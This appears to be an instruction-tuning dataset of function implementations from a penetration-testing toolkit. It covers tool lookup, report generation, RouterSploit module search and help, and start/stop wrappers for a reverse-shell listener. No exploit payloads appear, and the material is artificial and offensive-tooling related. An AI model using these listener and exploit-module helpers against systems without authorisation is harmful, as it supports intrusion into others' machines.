{"instruction": "Show how to implement the `get_platform` function in core/paths.py", "input": "Function: get_platform()\nDocstring: Return platform: 'linux', 'windows', or 'darwin'.", "output": "def get_platform() -> str:\n \"\"\"Return platform: 'linux', 'windows', or 'darwin'.\"\"\"\n return platform.system().lower()", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_platform_tag` function in core/paths.py", "input": "Function: get_platform_tag()\nDocstring: Return platform-arch tag like 'linux-arm64', 'windows-x86_64'.", "output": "def get_platform_tag() -> str:\n \"\"\"Return platform-arch tag like 'linux-arm64', 'windows-x86_64'.\"\"\"\n return f\"{get_platform()}-{_get_arch()}\"", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `find_tool` function in core/paths.py", "input": "Function: find_tool(name, extra_paths)\nDocstring: Find an executable binary by name.", "output": "def find_tool(name: str, extra_paths: Optional[List[str]] = None) -> Optional[str]:\n \"\"\"\n Find an executable binary by name.\n\n Search order:\n 1. System PATH (native binaries, correct architecture)\n 2. Platform-specific well-known install locations\n 3. Platform-specific project tools (tools/linux-arm64/ etc.)\n 4. Generic project directories (android/, tools/, bin/)\n 5. Extra paths provided by caller\n\n Skips binaries that don't match the host architecture (e.g. x86-64\n binaries on ARM64 hosts) to avoid FEX/emulation issues with root.\n\n Returns absolute path string, or None if not found.\n \"\"\"\n # On Windows, append .exe if no extension\n names = [name]\n if is_windows() and '.' not in name:\n names.append(name + '.exe')\n\n # 1. System PATH (most reliable — native packages)\n found = shutil.which(name)\n if found and _is_native_binary(found):\n return found\n\n # 2. Platform-specific well-known locations\n plat = get_platform()\n for search_dir in _PLATFORM_SEARCH_PATHS.get(plat, []):\n if search_dir.is_dir():\n for n in names:\n full = search_dir / n\n if full.is_file() and os.access(str(full), os.X_OK) and _is_native_binary(str(full)):\n return str(full)\n\n # 3-4. Bundled project directories\n plat_tag = get_platform_tag()\n search_dirs = [\n _APP_DIR / 'tools' / plat_tag, # Platform-specific (tools/linux-arm64/)\n _APP_DIR / 'android', # Android tools\n _APP_DIR / 'tools', # Generic tools/\n _APP_DIR / 'bin', # Generic bin/\n ]\n\n for tool_dir in search_dirs:\n if tool_dir.is_dir():\n for n in names:\n full = tool_dir / n\n if full.is_file() and os.access(str(full), os.X_OK):\n found = str(full)\n if not _is_native_binary(found):\n continue # Wrong arch — skip\n # Apply environment setup for bundled tools\n env_fn = _TOOL_ENV_SETUP.get(name)\n if env_fn:\n globals()[env_fn](found)\n return found\n\n # 5. Extra paths from caller\n if extra_paths:\n for p in extra_paths:\n for n in names:\n full = os.path.join(p, n)\n if os.path.isfile(full) and os.access(full, os.X_OK) and _is_native_binary(full):\n return full\n\n # Last resort: return system PATH result even if wrong arch (FEX may work for user)\n found = shutil.which(name)\n if found:\n return found\n\n return None", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `tool_available` function in core/paths.py", "input": "Function: tool_available(name)\nDocstring: Check if a tool is available anywhere.", "output": "def tool_available(name: str) -> bool:\n \"\"\"Check if a tool is available anywhere.\"\"\"\n return find_tool(name) is not None", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `detect_source_type` function in core/pentest_pipeline.py", "input": "Function: detect_source_type(output)\nDocstring: Auto-detect tool output type from content patterns.", "output": "def detect_source_type(output: str) -> str:\n \"\"\"Auto-detect tool output type from content patterns.\"\"\"\n for source, pattern in SOURCE_PATTERNS.items():\n if pattern.search(output[:2000]):\n return source\n return 'manual'", "type": "api_reference", "source_file": "core/pentest_pipeline.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_report_generator` function in core/report_generator.py", "input": "Function: get_report_generator(output_dir)\nDocstring: Get a ReportGenerator instance.", "output": "def get_report_generator(output_dir: str = None) -> ReportGenerator:\n \"\"\"Get a ReportGenerator instance.\n\n Args:\n output_dir: Optional output directory.\n\n Returns:\n ReportGenerator instance.\n \"\"\"\n return ReportGenerator(output_dir)", "type": "api_reference", "source_file": "core/report_generator.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_listener` function in core/revshell.py", "input": "Function: get_listener()\nDocstring: Get or create the global RevShellListener singleton.", "output": "def get_listener() -> RevShellListener:\n \"\"\"Get or create the global RevShellListener singleton.\"\"\"\n global _listener\n if _listener is None:\n _listener = RevShellListener()\n return _listener", "type": "api_reference", "source_file": "core/revshell.py"}
|
|||
|
|
{"instruction": "Show how to implement the `start_listener` function in core/revshell.py", "input": "Function: start_listener(host, port, token)\nDocstring: Start the global listener.", "output": "def start_listener(host: str = '0.0.0.0', port: int = 17322,\n token: str = None) -> Tuple[bool, str]:\n \"\"\"Start the global listener.\"\"\"\n global _listener\n _listener = RevShellListener(host=host, port=port, auth_token=token)\n return _listener.start()", "type": "api_reference", "source_file": "core/revshell.py"}
|
|||
|
|
{"instruction": "Show how to implement the `stop_listener` function in core/revshell.py", "input": "Function: stop_listener()\nDocstring: Stop the global listener.", "output": "def stop_listener():\n \"\"\"Stop the global listener.\"\"\"\n global _listener\n if _listener:\n _listener.stop()\n _listener = None", "type": "api_reference", "source_file": "core/revshell.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_rsf_manager` function in core/rsf.py", "input": "Function: get_rsf_manager()\nDocstring: Get the global RSFManager singleton instance.", "output": "def get_rsf_manager() -> RSFManager:\n \"\"\"Get the global RSFManager singleton instance.\"\"\"\n global _rsf_manager\n if _rsf_manager is None:\n _rsf_manager = RSFManager()\n return _rsf_manager", "type": "api_reference", "source_file": "core/rsf.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_rsf_interface` function in core/rsf_interface.py", "input": "Function: get_rsf_interface()\nDocstring: Get the global RSFInterface singleton instance.", "output": "def get_rsf_interface() -> RSFInterface:\n \"\"\"Get the global RSFInterface singleton instance.\"\"\"\n global _rsf_interface\n if _rsf_interface is None:\n _rsf_interface = RSFInterface()\n return _rsf_interface", "type": "api_reference", "source_file": "core/rsf_interface.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_module_info` function in core/rsf_modules.py", "input": "Function: get_module_info(module_path)\nDocstring: Get curated module info by path.", "output": "def get_module_info(module_path: str) -> dict:\n \"\"\"Get curated module info by path.\n\n Args:\n module_path: Module path like 'exploits/routers/dlink/dir_300_600_rce'\n\n Returns:\n Module info dict or None\n \"\"\"\n return RSF_MODULES.get(module_path)", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_module_description` function in core/rsf_modules.py", "input": "Function: get_module_description(module_path)\nDocstring: Get just the description for a module.", "output": "def get_module_description(module_path: str) -> str:\n \"\"\"Get just the description for a module.\n\n Args:\n module_path: Module path\n\n Returns:\n Description string or empty string\n \"\"\"\n info = RSF_MODULES.get(module_path)\n if info:\n return info.get('description', '')\n return ''", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `search_modules` function in core/rsf_modules.py", "input": "Function: search_modules(query)\nDocstring: Search curated modules by keyword.", "output": "def search_modules(query: str) -> list:\n \"\"\"Search curated modules by keyword.\n\n Searches name, description, tags, devices, and path.\n\n Args:\n query: Search string (case-insensitive)\n\n Returns:\n List of matching module info dicts (with 'path' key added)\n \"\"\"\n results = []\n query_lower = query.lower()\n\n for path, info in RSF_MODULES.items():\n # Search in path\n if query_lower in path.lower():\n results.append({**info, 'path': path})\n continue\n\n # Search in name\n if query_lower in info.get('name', '').lower():\n results.append({**info, 'path': path})\n continue\n\n # Search in description\n if query_lower in info.get('description', '').lower():\n results.append({**info, 'path': path})\n continue\n\n # Search in tags\n if any(query_lower in tag.lower() for tag in info.get('tags', ())):\n results.append({**info, 'path': path})\n continue\n\n # Search in devices\n if any(query_lower in dev.lower() for dev in info.get('devices', ())):\n results.append({**info, 'path': path})\n continue\n\n return results", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_modules_by_type` function in core/rsf_modules.py", "input": "Function: get_modules_by_type(module_type)\nDocstring: Get curated modules filtered by type.", "output": "def get_modules_by_type(module_type: str) -> list:\n \"\"\"Get curated modules filtered by type.\n\n Args:\n module_type: One of 'exploits', 'creds', 'scanners', etc.\n\n Returns:\n List of matching module info dicts (with 'path' key added)\n \"\"\"\n results = []\n for path, info in RSF_MODULES.items():\n if path.startswith(module_type + '/'):\n results.append({**info, 'path': path})\n return results", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `format_module_help` function in core/rsf_modules.py", "input": "Function: format_module_help(module_path)\nDocstring: Format detailed help text for a module.", "output": "def format_module_help(module_path: str) -> str:\n \"\"\"Format detailed help text for a module.\n\n Args:\n module_path: Module path\n\n Returns:\n Formatted help string\n \"\"\"\n info = RSF_MODULES.get(module_path)\n if not info:\n return f\" {Colors.YELLOW}No curated info for '{module_path}'{Colors.RESET}\"\n\n lines = []\n lines.append(f\" {Colors.BOLD}{Colors.WHITE}{info.get('name', module_path)}{Colors.RESET}\")\n lines.append(f\" {Colors.DIM}Path: {module_path}{Colors.RESET}\")\n lines.append(f\"\")\n lines.append(f\" {info.get('description', '')}\")\n\n if info.get('authors'):\n authors = ', '.join(info['authors'])\n lines.append(f\"\")\n lines.append(f\" {Colors.CYAN}Authors:{Colors.RESET} {authors}\")\n\n if info.get('devices'):\n lines.append(f\" {Colors.CYAN}Devices:{Colors.RESET}\")\n for dev in info['devices']:\n lines.append(f\" - {dev}\")\n\n if info.get('references'):\n lines.append(f\" {Colors.CYAN}References:{Colors.RESET}\")\n for ref in info['references']:\n lines.append(f\" {Colors.DIM}{ref}{Colors.RESET}\")\n\n if info.get('notes'):\n lines.append(f\"\")\n lines.append(f\" {Colors.YELLOW}Note:{Colors.RESET} {info['notes']}\")\n\n return '\\n'.join(lines)", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_all_modules` function in core/rsf_modules.py", "input": "Function: get_all_modules()\nDocstring: Get all curated modules.", "output": "def get_all_modules() -> dict:\n \"\"\"Get all curated modules.\n\n Returns:\n The full RSF_MODULES dict\n \"\"\"\n return RSF_MODULES", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_type_info` function in core/rsf_modules.py", "input": "Function: get_type_info(module_type)\nDocstring: Get info about a module type.", "output": "def get_type_info(module_type: str) -> dict:\n \"\"\"Get info about a module type.\n\n Args:\n module_type: One of 'exploits', 'creds', 'scanners', etc.\n\n Returns:\n Type info dict or None\n \"\"\"\n return MODULE_TYPES.get(module_type)", "type": "api_reference", "source_file": "core/rsf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_setting_info` function in core/rsf_terms.py", "input": "Function: get_setting_info(name)\nDocstring: Get full setting information by name.", "output": "def get_setting_info(name: str) -> dict:\n \"\"\"Get full setting information by name.\n\n Checks primary name first, then aliases.\n\n Args:\n name: Setting name (case-insensitive)\n\n Returns:\n Setting dict or None\n \"\"\"\n name_lower = name.lower()\n\n # Direct lookup\n if name_lower in RSF_SETTINGS:\n return RSF_SETTINGS[name_lower]\n\n # Alias lookup\n for key, info in RSF_SETTINGS.items():\n if name_lower in [a.lower() for a in info.get('aliases', [])]:\n return info\n\n return None", "type": "api_reference", "source_file": "core/rsf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_setting_prompt` function in core/rsf_terms.py", "input": "Function: get_setting_prompt(name, default, required)\nDocstring: Get a formatted input prompt for a setting.", "output": "def get_setting_prompt(name: str, default=None, required: bool = False) -> str:\n \"\"\"Get a formatted input prompt for a setting.\n\n Args:\n name: Setting name\n default: Default value to show\n required: Whether the setting is required\n\n Returns:\n Formatted prompt string\n \"\"\"\n info = get_setting_info(name)\n\n if info:\n if default is None:\n default = info.get('default', '')\n desc = info.get('description', '').split('.')[0] # First sentence\n req = f\" {Colors.RED}(required){Colors.RESET}\" if required else \"\"\n if default:\n return f\" {Colors.WHITE}{name}{Colors.RESET} [{default}]{req}: \"\n return f\" {Colors.WHITE}{name}{Colors.RESET}{req}: \"\n else:\n if default:\n return f\" {Colors.WHITE}{name}{Colors.RESET} [{default}]: \"\n return f\" {Colors.WHITE}{name}{Colors.RESET}: \"", "type": "api_reference", "source_file": "core/rsf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `format_setting_help` function in core/rsf_terms.py", "input": "Function: format_setting_help(name, include_examples, include_notes)\nDocstring: Get formatted help text for a setting.", "output": "def format_setting_help(name: str, include_examples: bool = True,\n include_notes: bool = True) -> str:\n \"\"\"Get formatted help text for a setting.\n\n Args:\n name: Setting name\n include_examples: Include usage examples\n include_notes: Include additional notes\n\n Returns:\n Formatted help string\n \"\"\"\n info = get_setting_info(name)\n if not info:\n return f\" {Colors.YELLOW}No help available for '{name}'{Colors.RESET}\"\n\n lines = []\n lines.append(f\" {Colors.BOLD}{Colors.WHITE}{name.upper()}{Colors.RESET}\")\n lines.append(f\" {info['description']}\")\n\n if info.get('input_type'):\n lines.append(f\" {Colors.DIM}Type: {info['input_type']}{Colors.RESET}\")\n\n if info.get('default'):\n lines.append(f\" {Colors.DIM}Default: {info['default']}{Colors.RESET}\")\n\n if include_examples and info.get('examples'):\n lines.append(f\" {Colors.DIM}Examples: {', '.join(info['examples'])}{Colors.RESET}\")\n\n if include_notes and info.get('notes'):\n lines.append(f\" {Colors.DIM}Note: {info['notes']}{Colors.RESET}\")\n\n return '\\n'.join(lines)", "type": "api_reference", "source_file": "core/rsf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `validate_setting_value` function in core/rsf_terms.py", "input": "Function: validate_setting_value(name, value)\nDocstring: Validate a setting value against its type.", "output": "def validate_setting_value(name: str, value: str) -> tuple:\n \"\"\"Validate a setting value against its type.\n\n Args:\n name: Setting name\n value: Value to validate\n\n Returns:\n Tuple of (is_valid, error_message)\n \"\"\"\n info = get_setting_info(name)\n if not info:\n return True, \"\" # Unknown settings pass validation\n\n input_type = info.get('input_type', 'string')\n\n if input_type == 'port':\n try:\n port = int(value)\n if 0 <= port <= 65535:\n return True, \"\"\n return False, \"Port must be between 0 and 65535\"\n except ValueError:\n return False, \"Port must be a number\"\n\n elif input_type == 'ip':\n # Allow file:// paths for batch targeting\n if value.startswith('file://'):\n return True, \"\"\n # Basic IPv4 validation\n import re\n if re.match(r'^(\\d{1,3}\\.){3}\\d{1,3}$', value):\n parts = value.split('.')\n if all(0 <= int(p) <= 255 for p in parts):\n return True, \"\"\n return False, \"Invalid IP address octets\"\n # IPv6 - basic check\n if ':' in value:\n return True, \"\"\n return False, \"Expected IPv4 address, IPv6 address, or file:// path\"\n\n elif input_type == 'boolean':\n if value.lower() in ('true', 'false', '1', '0', 'yes', 'no'):\n return True, \"\"\n return False, \"Expected true/false\"\n\n elif input_type == 'integer':\n try:\n int(value)\n return True, \"\"\n except ValueError:\n return False, \"Expected an integer\"\n\n return True, \"\"", "type": "api_reference", "source_file": "core/rsf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_sites_db` function in core/sites_db.py", "input": "Function: get_sites_db()\nDocstring: Get the global sites database instance.", "output": "def get_sites_db() -> SitesDatabase:\n \"\"\"Get the global sites database instance.\"\"\"\n global _sites_db\n if _sites_db is None:\n _sites_db = SitesDatabase()\n return _sites_db", "type": "api_reference", "source_file": "core/sites_db.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_tool_registry` function in core/tools.py", "input": "Function: get_tool_registry()\nDocstring: Get the global tool registry.", "output": "def get_tool_registry() -> ToolRegistry:\n \"\"\"Get the global tool registry.\"\"\"\n global _registry\n if _registry is None:\n _registry = ToolRegistry()\n return _registry", "type": "api_reference", "source_file": "core/tools.py"}
|
|||
|
|
{"instruction": "Show how to implement the `create_icon_image` function in core/tray.py", "input": "Function: create_icon_image(size)\nDocstring: Load tray icon from .ico file, falling back to programmatic generation.", "output": "def create_icon_image(size=64):\n \"\"\"Load tray icon from .ico file, falling back to programmatic generation.\"\"\"\n ico_path = _get_icon_path()\n if ico_path:\n try:\n img = Image.open(str(ico_path))\n img = img.resize((size, size), Image.LANCZOS)\n return img.convert('RGBA')\n except Exception:\n pass\n\n # Fallback: generate programmatically\n img = Image.new('RGBA', (size, size), (0, 0, 0, 0))\n draw = ImageDraw.Draw(img)\n draw.ellipse([1, 1, size - 2, size - 2], fill=(15, 15, 25, 255),\n outline=(0, 180, 255, 255), width=2)\n try:\n font = ImageFont.truetype(\"arial.ttf\", int(size * 0.5))\n except OSError:\n font = ImageFont.load_default()\n bbox = draw.textbbox((0, 0), \"A\", font=font)\n tw, th = bbox[2] - bbox[0], bbox[3] - bbox[1]\n x = (size - tw) // 2\n y = (size - th) // 2 - bbox[1]\n draw.text((x, y), \"A\", fill=(0, 200, 255, 255), font=font)\n return img", "type": "api_reference", "source_file": "core/tray.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_upnp_manager` function in core/upnp.py", "input": "Function: get_upnp_manager(config)\nDocstring: Get the global UPnP manager instance.", "output": "def get_upnp_manager(config=None) -> UPnPManager:\n \"\"\"Get the global UPnP manager instance.\"\"\"\n global _upnp_manager\n if _upnp_manager is None:\n if config is None:\n from core.config import get_config\n config = get_config()\n _upnp_manager = UPnPManager(config)\n return _upnp_manager", "type": "api_reference", "source_file": "core/upnp.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_wireshark_manager` function in core/wireshark.py", "input": "Function: get_wireshark_manager()\nDocstring: Get the global WiresharkManager instance.", "output": "def get_wireshark_manager() -> WiresharkManager:\n \"\"\"Get the global WiresharkManager instance.\"\"\"\n global _manager\n if _manager is None:\n _manager = WiresharkManager()\n return _manager", "type": "api_reference", "source_file": "core/wireshark.py"}
|